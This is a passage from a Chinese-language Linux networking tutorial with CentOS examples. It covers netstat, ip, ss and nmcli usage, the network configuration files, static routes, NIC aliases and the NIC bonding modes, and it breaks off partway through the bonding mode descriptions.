  54. UdpLite:
  55. TcpExt:
  56.   1 delayed acks sent
  57.   26 packet headers predicted
  58.   14 acknowledgments not containing data payload received
  59.   19 predicted acknowledgments
  60.  TCPRcvCoalesce: 5
  61.  TCPOrigDataSent: 40
  62.  TCPDelivered: 39
  63. IpExt:
  64.  InOctets: 8882
  65.  OutOctets: 9803
  66.  InNoECTPkts: 89
  67. MPTcpExt:

4.3.7 显示接口统计数据

  1. netstat {--interfaces|-I|-i} [iface] [--all|-a] [--extend|-e] [--program|-p] [--
  2. numeric|-n]
  3. netstat -i
  4. netstat –I=IFACE
  5. ifconfig -s IFACE
  6. #例:
  7. [root@centos8 ~]#netstat -Ieth0
  8. Kernel Interface table
  9. Iface       MTU  RX-OK RX-ERR RX-DRP RX-OVR  TX-OK TX-ERR TX-DRP TX-OVR
  10. Flg
  11. eth0       1500   4660    0    0 0      2460    0    0   0 BMRU
  12. [root@centos8 ~]#ifconfig -s eth0
  13. Iface   MTU  RX-OK RX-ERR RX-DRP RX-OVR  TX-OK TX-ERR TX-DRP TX-OVR Flg
  14. eth0       1500   4745    0    0 0      2518    0    0   0 BMRU
  15. [root@centos8 ~]#netstat -nt
  16. Active Internet connections (w/o servers)
  17. Proto Recv-Q Send-Q Local Address      Foreign Address     State   
  18. tcp     0   52 10.0.0.8:22       10.0.0.1:4927      ESTABLISHED

4.3.8 ip命令

  1. #来自于iproute包,可用于代替ifconfig
  2. ##配置Linux网络属性
  3. ip [ OPTIONS ] OBJECT { COMMAND | help }
  4. #ip 命令说明:
  5. OBJECT := { link | addr | route }
  6. ip link - network device configuration
  7. set dev IFACE,可设置属性:up and down:激活或禁用指定接口,相当于 ifup/ifdown
  8. show [dev IFACE] [up]::指定接口 ,up 仅显示处于激活状态的接口
  9. man帮助:ip(8), ip-address(8), ip-link(8), ip-route(8)
  10. #例: 查看帮助
  11. [root@centos8 ~]#ip help
  12. Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
  13.    ip [ -force ] -batch filename
  14. where OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
  15.          tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm
  16. |
  17.          netns | l2tp | fou | macsec | tcp_metrics | token | netconf |
  18. ila |
  19.          vrf | sr | nexthop }
  20.    OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
  21.           -h[uman-readable] | -iec | -j[son] | -p[retty] |
  22.           -f[amily] { inet | inet6 | mpls | bridge | link } |
  23.           -4 | -6 | -I | -D | -M | -B | -0 |
  24.           -l[oops] { maximum-addr-flush-attempts } | -br[ief] |
  25.           -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename]
  26. |
  27.           -rc[vbuf] [size] | -n[etns] name | -N[umeric] | -a[ll] |
  28.           -c[olor]}
  29. 。。。。
  30. [root@centos8 ~]#ip link help
  31. Usage: ip link add [link DEV] [ name ] NAME
  32. [root@centos8 ~]#ip addr help
  33. Usage: ip address {add|change|replace} IFADDR dev IFNAME [ LIFETIME ]
  34.                           [ CONFFLAG-LIST ]
  35.    ip address del IFADDR dev IFNAME [mngtmpaddr]
  36.    ip address {save|flush} [ dev IFNAME ] [ scope SCOPE-ID ]
  37. 。。。。
  38. [root@centos8 ~]#ip route help
  39. Usage: ip route { list | flush } SELECTOR
  40.    ip route save SELECTOR
  41.    ip route restore
  42.    ip route showdump
  43.    ip route get [ ROUTE_GET_FLAGS ] ADDRESS
  44. 。。。。
  45. #ip 地址管理
  46. ip addr { add | del } IFADDR dev STRING [label LABEL] [scope {global|link|host}]
  47. [broadcast ADDRESS]
  48. [label LABEL]:添加地址时指明网卡别名
  49. [scope {global|link|host}]:指明作用域,global: 全局可用.link: 仅链接可用,host: 本机可用
  50. [broadcast ADDRESS]:指明广播地址
  51. ip address show
  52. ip addr flush
  1. #禁用网卡
  2. ip link set eth1 down
  3. #网卡改名
  4. ip link set eth1 name xinnet
  5. #启用网卡
  6. ip link set xinnet up
  7. #网卡别名
  8. ip addr add 172.16.100.100/16 dev eth0 label eth0:0
  9. ip addr del 172.16.100.100/16 dev eth0 label eth0:0
  10. #清除网络地址
  11. ip addr flush dev eth0
  12. #例: 增加网卡别名实现一个网卡多个IP
  13. [root@centos8 ~]#ip a
  14. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  15. default qlen 1000
  16.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  17.  inet 127.0.0.1/8 scope host lo
  18.    valid_lft forever preferred_lft forever
  19. 。。。。
  20. [root@centos8 ~]#ip address add 10.0.0.18/24 dev eth0 label eth0:1
  21. [root@centos8 ~]#ip a
  22. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  23. default qlen 1000
  24.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  25.  inet 127.0.0.1/8 scope host lo
  26.    valid_lft forever preferred_lft forever
  27.  inet6 ::1/128 scope host
  28.    valid_lft forever preferred_lft forever
  29. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  30. group default qlen 1000
  31.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  32.  inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
  33.    valid_lft forever preferred_lft forever
  34.  inet 10.0.0.18/24 scope global secondary eth0:1
  35.    valid_lft forever preferred_lft forever
  36.  inet6 fe80::20c:29ff:fe8a:5121/64 scope link
  37.    valid_lft forever preferred_lft forever
  38. [root@centos8 ~]#ip address del 10.0.0.18/24 dev eth0 label eth0:1
  39. [root@centos8 ~]#ip a
  40. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  41. default qlen 1000
  42.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  43.  inet 127.0.0.1/8 scope host lo
  44.    valid_lft forever preferred_lft forever
  45.  inet6 ::1/128 scope host
  46.    valid_lft forever preferred_lft forever
  47. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  48. group default qlen 1000
  49.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  50.  inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
  51.    valid_lft forever preferred_lft forever
  52.  inet6 fe80::20c:29ff:fe8a:5121/64 scope link
  53.    valid_lft forever preferred_lft forever
  54. #例: 修改IP
  55. [root@centos8 ~]#ip a
  56. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  57. default qlen 1000
  58. 。。。。
  59. #先加新IP,再删除旧的IP
  60. [root@centos8 ~]#ip address add 10.0.0.88/24 dev eth0
  61. [root@centos8 ~]#ip address del 10.0.0.8/24 dev eth0
  62. [root@centos8 ~]#ip a
  63. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  64. default qlen 1000
  65.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  66.  inet 127.0.0.1/8 scope host lo
  67.    valid_lft forever preferred_lft forever
  68.  inet6 ::1/128 scope host
  69.    valid_lft forever preferred_lft forever
  70. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  71. group default qlen 1000
  72.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  73.  inet 10.0.0.88/24 scope global eth0
  74.    valid_lft forever preferred_lft forever
  75.  inet6 fe80::20c:29ff:fe8a:5121/64 scope link
  76.    valid_lft forever preferred_lft forever
  77. #例:
  78. [root@centos8 ~]#ip a
  79. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  80. default qlen 1000
  81.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  82.  inet 127.0.0.1/8 scope host lo
  83.    valid_lft forever preferred_lft forever
  84. 。。。。
  85. [root@centos8 ~]#ip addr add 10.0.0.18/24 dev eth0
  86. [root@centos8 ~]#ip a
  87. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  88. default qlen 1000
  89.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  90.  inet 127.0.0.1/8 scope host lo
  91.    valid_lft forever preferred_lft forever
  92.  inet6 ::1/128 scope host
  93. 。。。。
  94. [root@centos8 ~]#ip addr add 10.0.0.18/24 dev eth0
  95. RTNETLINK answers: File exists
  96. #
  97. [root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 30 valid_lft
  98. 6
  99. preferred_lft is greater than valid_lft
  100. [root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 3 valid_lft
  101. 10
  102. [root@centos8 ~]#ip a
  103. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  104. default qlen 1000
  105.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  106.  inet 127.0.0.1/8 scope host lo
  107.    valid_lft forever preferred_lft forever
  108.  inet6 ::1/128 scope host
  109.    valid_lft forever preferred_lft forever
  110. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  111. group default qlen 1000
  112.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  113.  inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
  114.    valid_lft forever preferred_lft forever
  115.  inet 10.0.0.18/24 scope global secondary dynamic eth0
  116.    valid_lft 7sec preferred_lft 0sec
  117.  inet6 fe80::20c:29ff:fe8a:5121/64 scope link
  118.    valid_lft forever preferred_lft forever
  119. #过10s后地址消失
  120. [root@centos8 ~]#ip a
  121. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  122. default qlen 1000
  123.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  124.  inet 127.0.0.1/8 scope host lo
  125.    valid_lft forever preferred_lft forever
  126.  inet6 ::1/128 scope host
  127.    valid_lft forever preferred_lft forever
  128. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  129. group default qlen 1000
  130.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  131.  inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
  132.    valid_lft forever preferred_lft forever
  133.  inet6 fe80::20c:29ff:fe8a:5121/64 scope link
  134.    valid_lft forever preferred_lft forever
  135. [root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 10 valid_lft
  136. 20
  137. [root@centos8 ~]#ip addr change 10.0.0.18/24 dev eth0 preferred_lft 20 valid_lft
  138. 40
  139. [root@centos8 ~]#ip a
  140. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  141. default qlen 1000
  142.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  143.  inet 127.0.0.1/8 scope host lo
  144.    valid_lft forever preferred_lft forever
  145.  inet6 ::1/128 scope host
  146.    valid_lft forever preferred_lft forever
  147. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  148. group default qlen 1000
  149.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  150.  inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
  151.    valid_lft forever preferred_lft forever
  152.  inet 10.0.0.18/24 scope global secondary dynamic eth0
  153.    valid_lft 39sec preferred_lft 19sec
  154.  inet6 fe80::20c:29ff:fe8a:5121/64 scope link
  155.    valid_lft forever preferred_lft forever
  156. #replace 代替现有地址信息
  157. [root@centos8 ~]#ip addr replace 10.0.0.18/24 dev eth0 preferred_lft 30 valid_lft
  158. 60
  159. [root@centos8 ~]#ip a
  160. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  161. default qlen 1000
  162.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  163.  inet 127.0.0.1/8 scope host lo
  164.    valid_lft forever preferred_lft forever
  165.  inet6 ::1/128 scope host
  166.    valid_lft forever preferred_lft forever
  167. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  168. group default qlen 1000
  169.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  170. ....
  171. #replace 也可实现新加IP
  172. [root@centos8 ~]#ip addr replace 10.0.0.28/24 dev eth0 preferred_lft 30 valid_lft
  173. 60
  174. [root@centos8 ~]#ip a
  175. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  176. default qlen 1000
  177.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  178.  inet 127.0.0.1/8 scope host lo
  179.    valid_lft forever preferred_lft forever
  180.  inet6 ::1/128 scope host
  181.    valid_lft forever preferred_lft forever
  182. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  183. group default qlen 1000
  184.  link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
  185.  inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
  186.    valid_lft forever preferred_lft forever
  187.  inet 10.0.0.28/24 scope global secondary dynamic eth0
  188. ....

4.3.8.2 管理路由

  1. #ip route 用法
  2. #添加路由:
  3. ip route add TARGET via GW dev IFACE src SOURCE_IP
  4. TARGET:
  5. 主机路由:IP
  6. 网络路由:NETWORK/MASK
  7. #添加网关:
  8. ip route add default via GW dev IFACE
  9. #删除路由:
  10. ip route del TARGET
  11. #显示路由:
  12. ip route show|list
  13. #清空路由表:
  14. ip route flush [dev IFACE] [via PREFIX]
  15. #例:
  16. ip route add 192.168.0.0/24 via 172.16.0.1
  17. ip route add 192.168.1.100 via 172.16.0.1
  18. ip route add default via 172.16.0.1
  19. ip route flush dev eth0
  20. #例: 查看路由过程
  21. [root@centos8 ~]#ip route get 10.0.0.7
  22. 10.0.0.7 dev eth0 src 10.0.0.8 uid 0
  23.  cache
  24. [root@centos8 ~]#ip route get 8.8.8.8
  25. 8.8.8.8 via 10.0.0.2 dev eth0 src 10.0.0.8 uid 0
  26.  cache

4.3.9 ss 命令

来自于iproute包,代替netstat,netstat 通过遍历 /proc来获取 socket信息,ss 使用 netlink与内核
tcp_diag 模块通信获取 socket 信息

  1. #格式:
  2. ss [OPTION]... [FILTER]
  3. #常用选项:
  4. -t: tcp协议相关
  5. -u: udp协议相关
  6. -w: 裸套接字相关
  7. -x:unix sock相关
  8. -l: listen状态的连接
  9. -a: 所有
  10. -n: 数字格式
  11. -p: 相关的程序及PID
  12. -e: 扩展的信息
  13. -m:内存用量
  14. -o:计时器信息
  15. #格式说明
  16. FILTER : [ state TCP-STATE ] [ EXPRESSION ]
  17. TCP的常见状态:
  18. tcp finite state machine:
  19. LISTEN: 监听
  20. ESTABLISHED:已建立的连接
  21. FIN_WAIT_1
  22. FIN_WAIT_2
  23. SYN_SENT
  24. SYN_RECV
  25. CLOSED
  26. EXPRESSION:
  27. dport =
  28. sport =
  29. #常用组合:
  30. -tan, -tanl, -tanlp, -uan
  31. #例:常见用法
  32. #显示本地打开的所有端口
  33. ss -l
  34. #显示每个进程具体打开的socket
  35. ss -pl
  36. #显示所有tcp socket
  37. ss -t -a
  38. #显示所有的UDP Socekt
  39. ss -u -a
  40. #显示所有已建立的ssh连接
  41. ss -o state established '( dport = :ssh or sport = :ssh )'
  42. #显示所有已建立的HTTP连接
  43. ss -o state established '( dport = :http or sport = :http )'
  44. [root@centos8 ~]#ss -no state established '( dport = :21 or sport = :21 )'
  45. Netid        Recv-Q        Send-Q                
  46.  Local Address:Port                  Peer Address:Port   
  47.     
  48. tcp         0           0                  
  49. [::ffff:10.0.0.8]:21                 [::ffff:10.0.0.7]:46638  
  50.       timer:(keepalive,119min,0)
  51. #列出当前socket详细信息
  52. [root@centos8 ~]#ss -s
  53. Total: 228
  54. TCP:  5 (estab 1, closed 0, orphaned 0, timewait 0)
  55. Transport Total   IP    IPv6
  56. RAW    0     0     0    
  57. UDP    2     1     1    
  58. TCP    5     3     2    
  59. INET  7     4     3    
  60. FRAG  0     0     0  

4.3.10 网络配置工具 nmcli

  1. #图形工具:nm-connection-editor
  2. #字符配置 tui工具:
  3. nmtui
  4. nmtui-connect
  5. nmtui-edit
  6. nmtui-hostname
  7. 命令行工具:nmcli
  8. 以上工具都依赖NetworkManager服务,此服务是管理和监控网络设置的守护进程
  9. #nmcli命令
  10. #nmcli命令相关术语
  11. #设备即网络接口
  12. #连接是对网络接口的配置,一个网络接口可有多个连接配置,但同时只有一个连接配置生效
  13. #格式:
  14. nmcli [ OPTIONS ] OBJECT { COMMAND | help }
  15. device - show and manage network interfaces
  16. nmcli device help
  17. connection - start, stop, and manage network connections
  18. nmcli connection help
  19. #修改IP地址等属性:
  20. nmcli connection modify IFACE [+|-]setting.property value
  21. setting.property: ipv4.addresses ipv4.gateway ipv4.dns1 ipv4.method manual |
  22. auto
  23. #修改配置文件执行生效:
  24. nmcli con reload
  25. nmcli con up con-name
  26. #对照表:
  27. nmcli con mod ifcfg**-*** 文件
  28. ipv4.method manual BOOTPROTO=none
  29. ipv4.method auto BOOTPROTO=dhcp
  30. ipv4.addresses 192.168.2.1/24 IPADDR=192.168.2.1 PREFIX=24
  31. ipv4.gateway 172.16.0.200 GATEWAY=192.0.2.254
  32. ipv4.dns 8.8.8.8 DNS0=8.8.8.8
  33. ipv4.dns-search example.com DOMAIN=example.com
  34. ipv4.ignore-auto-dns true PEERDNS=no
  35. connection.autoconnect yes ONBOOT=yes
  36. connection.id eth0 NAME=eth0
  37. connection.interface-name eth0 DEVICE=eth0
  38. 802-3-ethernet.mac-address . . . HWADDR= . . .
  39. #常用命令集合:
  40. #查看帮助
  41. nmcli con add help
  42. #使用nmcli配置网络
  43. nmcli con show
  44. #显示所有活动连接
  45. nmcli con show --active
  46. #显示网络连接配置
  47. nmcli con show  "System eth0“
  48. #显示设备状态
  49. nmcli dev status
  50. #显示网络接口属性
  51. nmcli dev show eth0
  52. #创建新连接default,IP自动通过dhcp获取
  53. nmcli con add con-name default type Ethernet ifname eth0
  54. #删除连接
  55. nmcli con del default
  56. #创建新连接static ,指定静态IP,不自动连接
  57. nmcli con add con-name static  ifname eth0 autoconnect no type Ethernet
  58. ipv4.addresses 172.25.X.10/24 ipv4.gateway  172.25.X.254
  59. #启用static连接配置
  60. nmcli con up static
  61. #启用default连接配置
  62. nmcli con up default
  63. #修改连接设置
  64. nmcli con mod “static” connection.autoconnect no
  65. nmcli con mod “static” ipv4.dns 172.25.X.254
  66. nmcli con mod “static”  +ipv4.dns  8.8.8.8
  67. nmcli con mod “static”  -ipv4.dns  8.8.8.8
  68. nmcli con mod “static” ipv4.addresses “172.16.X.10/24  172.16.X.254”
  69. nmcli con mod “static”  +ipv4.addresses 10.10.10.10/16
  70. #DNS设置存放在/etc/resolv.conf,PEERDNS=no 表示当IP通过dhcp自动获取时,dns仍是手动设置,
  71. 不自动获取等价于下面命令
  72. nmcli con mod “system eth0” ipv4.ignore-auto-dns yes
  73. nmcli con up default

4.4 网络配置文件

4.4.1 网络基本配置文件

  1. #IP、MASK、GW、DNS相关的配置文件:
  2. /etc/sysconfig/network-scripts/ifcfg-IFACE
  3. #说明参考:
  4. /usr/share/doc/initcripts-*/sysconfig.txt
  5. #常用配置
  6. 设置 说明
  7. TYPE 接口类型;常见有的Ethernet, Bridge
  8. NAME 此配置文件应用到的设备
  9. DEVICE 设备名
  10. HWADDR 对应的设备的MAC地址
  11. UUID 设备的惟一标识
  12. BOOTPROTO 激活此设备时使用的地址配置协议,常用的dhcp, static, none, bootp
  13. IPADDR 指明IP地址
  14. NETMASK 子网掩码,如:255.255.255.0
  15. PREFIX 网络ID的位数, 如:24
  16. GATEWAY 默认网关
  17. DNS1 第一个DNS服务器地址
  18. DNS2 第二个DNS服务器地址
  19. DOMAIN 主机不完整时,自动搜索的域名后缀
  20. ONBOOT 在系统引导时是否激活此设备
  21. USERCTL 普通用户是否可控制此设备
  22. PEERDNS 如果BOOTPROTO的值为“dhcp”,YES将允许dhcp server分配的dns服务
  23. 器信息直接覆盖至/etc/resolv.conf文件,NO不允许修改resolv.conf
  24. NM_CONTROLLED NM是NetworkManager的简写,此网卡是否接受NM控制

4.4.2 配置当前主机的主机名

  1. #CentOS 6 之前版本
  2. /etc/sysconfig/network
  3. HOSTNAME=
  4. #centos7 以后版配置文件:
  5. /etc/hostname
  6. 默认没有此文件,通过DNS反向解析获取主机名,主机名默认为:localhost.localdomain
  7. 删除文件/etc/hostname,恢复主机名localhost.localdomain

4.4.3 本地主机名数据库和IP地址的映射

  1. #优先于使用DNS前检查
  2. getent hosts 查看/etc/hosts 内容
  3. /etc/hosts

4.4.4 DNS域名解析

  1. /etc/resolv.conf
  2. nameserver DNS_SERVER_IP1
  3. nameserver DNS_SERVER_IP2
  4. nameserver DNS_SERVER_IP3
  5. search DOMAIN
  6. #常见公共DNS
  7. 180.76.76.76 百度
  8. 223.5.5.5 阿里
  9. 223.6.6.6 阿里
  10. 119.29.29.29 腾讯
  11. 119.28.28.28 腾讯
  12. 114.114.114.114 电信
  13. 114.114.115.115 电信
  14. 1.2.4.8 CNNIC
  15. 210.2.4.8 CNNIC
  16. 240c::6666 CNNIC
  17. 240c::6644 CNNIC
  18. 80.80.80.80 Freenom World
  19. 80.80.81.81 Freenom World
  20. 8.8.8.8 Google
  21. 8.8.4.4 Google
  22. 1.1.1.1 Cloudflare
  23. 117.50.11.11  OneDNS
  24. 117.50.22.22  OneDNS
  25. 52.80.66.66 OneDNS
  26. 117.50.10.10 OneDNS  
  27. 52.80.52.52 OneDNS

4.4.5 修改 /etc/hosts和DNS的优先级

  1. /etc/nsswitch.conf
  2. hosts: files dns

4.4.6 路由相关的配置文件

  1. #/etc/sysconfig/network-scripts/route-IFACE
  2. #两种风格:
  3. (1) TARGET via GW
  4. 如:10.0.0.0/8 via 172.16.0.1
  5. (2) 每三行定义一条路由
  6. ADDRESS#=TARGET
  7. NETMASK#=mask
  8. GATEWAY#=GW
  9. #例: CentOS7 创建/etc/sysconfig/static-routes文件添加持久静态路由
  10. #查看network脚本调用路由文件
  11. [root@centos7 ~]#grep -A 3 "/etc/sysconfig/static-routes" /etc/init.d/network
  12.   if [ -f /etc/sysconfig/static-routes ]; then
  13.     if [ -x /sbin/route ]; then
  14.       grep "^any" /etc/sysconfig/static-routes | while read ignore args ;
  15. do
  16.        /sbin/route add -$args
  17.       done
  18.     else
  19. #查看当前路由
  20. [root@centos7 ~]#route -n
  21. Kernel IP routing table
  22. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  23. 0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
  24. 10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
  25. #创建文件
  26. [root@centos7 ~]#vim /etc/sysconfig/static-routes
  27. [root@centos7 ~]#cat /etc/sysconfig/static-routes
  28. any net 192.168.1.0/24 gw 10.0.0.254
  29. any net 192.168.2.0/24 gw 10.0.0.254
  30. [root@centos7 ~]#systemctl restart network
  31. #确认路由生效
  32. [root@centos7 ~]#route -n
  33. Kernel IP routing table
  34. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  35. 0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
  36. 10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
  37. 192.168.1.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0
  38. 192.168.2.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0

4.5 网卡别名

将多个IP地址绑定到一个NIC上
每个IP绑定到独立逻辑网卡,即网络别名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3

  1. #例:ifconfig 命令
  2. ifconfig eth0:0 192.168.1.100/24 up
  3. ifconfig eth0:0 down
  4. #例:ip 命令
  5. ip addr add 172.16.1.1/16 dev eth0
  6. ip addr add 172.16.1.2/16 dev eth0 label eth0:0
  7. ip addr del 172.16.1.2/16 dev eth0 label eth0:0
  8. ip addr flush dev eth0 label eth0:0
  9. #为每个设备别名生成独立的接口配置文件,格式为:ifcfg-ethX:xxx
  10. #例: 给 lo 网卡加别名(此方式不适用于CentOS8)
  11. [root@centos7 network-scripts]#pwd
  12. /etc/sysconfig/network-scripts
  13. [root@centos7 network-scripts]#cat ifcfg-lo:1
  14. DEVICE=lo:1
  15. IPADDR=137.0.0.1
  16. NETMASK=255.0.0.0
  17. NETWORK=137.0.0.0
  18. # If you're having problems with gated making 127.0.0.0/8 a martian,
  19. # you can change this to something else (255.255.255.255, for example)
  20. BROADCAST=137.255.255.255
  21. ONBOOT=yes
  22. NAME=loopback1
  23. [root@centos7 network-scripts]#ip addr show lo
  24. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  25. default qlen 1000
  26.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  27.  inet 127.0.0.1/8 scope host lo
  28.    valid_lft forever preferred_lft forever
  29.  inet 137.0.0.1/8 brd 137.255.255.255 scope global lo:1
  30.    valid_lft forever preferred_lft forever
  31.  inet6 ::1/128 scope host
  32.    valid_lft forever preferred_lft forever
  33. #例:
  34. [root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
  35. DEVICE=eth0:1
  36. IPADDR=10.0.0.100
  37. PREFIX=8
  38. [root@centos8 ~]#ifconfig
  39. eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  40.    inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
  41.    inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
  42.    ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
  43.    RX packets 2320 bytes 200266 (195.5 KiB)
  44.    RX errors 0 dropped 0 overruns 0 frame 0
  45.    TX packets 1891 bytes 279736 (273.1 KiB)
  46.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  47. eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  48.    inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
  49.    ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
  50. #注意:
  51. 建议 CentOS 6 关闭 NetworkManager 服务
  52. 网卡别名必须使用静态地址

4.6 多网卡 bonding

将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。直接给两块网卡设置同一IP地址是不可以的。通过 bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址

4.6.1 Bonding 聚合链路工作模式

bond聚合链路模式共7种模式:0-6 Mode

mod=0 ,即:(balance-rr) Round-robin policy(轮询)聚合口数据报文按包轮询从物理接口转
发。

负载均衡—所有链路处于负载均衡状态,轮询方式往每条链路发送报文这模式的特点增加了带宽,
同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。
性能问题—一个连接或者会话的数据包如果从不同的接口发出的话,中途再经过不同的链路,在客
户端很有可能会出现数据包无序到达的问题,而无序到达的数据包需要重新要求被发送,这样网络
的吞吐量就会下降。Bond0在大压力的网络传输下,性能增长的并不是很理想。
需要交换机进行端口绑定

mod=1,即: (active-backup) Active-backup policy(主-备份策略)只有Active状态的物理接口
才转发数据报文。
容错能力—只有一个slave是激活的(active)。也就是说同一时刻只有一个网卡处于工作状态,其他
的slave都处于备份状态,只有在当前激活的slave故障后才有可能会变为激活的(active)。
无负载均衡—此算法的优点是可以提供高网络连接的可用性,但是它的资源利用率较低,只有一个
接口处于工作状态,在有 N 个网络接口的情况下,资源利用率为1/N。

mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口数据报文按源目MAC、源目IP、源目
端口进行异或HASH运算得到一个值,根据该值查找接口转发数据报文
负载均衡—基于指定的传输HASH策略传输数据包。
容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常
的链路上。
性能问题—该模式将限定流量,以保证到达特定对端的流量总是从同一个接口上发出。既然目的地
是通过MAC地址来决定的,因此该模式在“本地”网络配置下可以工作得很好。如果所有流量是通过
单个路由器,由于只有一个网关,源和目标mac都固定了,那么这个算法算出的线路就一直是同一
条,那么这种模式就没有多少意义了。
需要交换机配置为port channel

mod=3,即:broadcast(广播策略)这种模式的特点是一个报文会复制两份往bond下的两个接
口分别发送出去,
当有对端交换机失效,感觉不到任何downtime,但此法过于浪费资源;不过这种模式有很好的容
错机制。此模式适用于金融行业,因为他们需要高可靠性的网络,不允许出现任何问题。

mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 动态链接聚合)
在动态聚合模式下,聚合组内的成员端口上均启用LACP(链路汇聚控制协议)协议,其端口状态
通过该协议自动进行维护。
负载均衡—基于指定的传输HASH策略传输数据包。默认算法与blance-xor一样。
容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常
的链路上。对比blance-xor,这种模式定期发送LACPDU报文维护链路聚合状态,保证链路质量。
需要交换机支持LACP协议.

mod=5,即:(balance-tlb) Adaptive transmit load balancing(适配器传输负载均衡)
在每个物理接口上根据当前的负载(根据速度计算)分配外出流量。如果正在接收数据的物理接口
口出故障了,另一个物理接口接管该故障物理口的MAC地址。
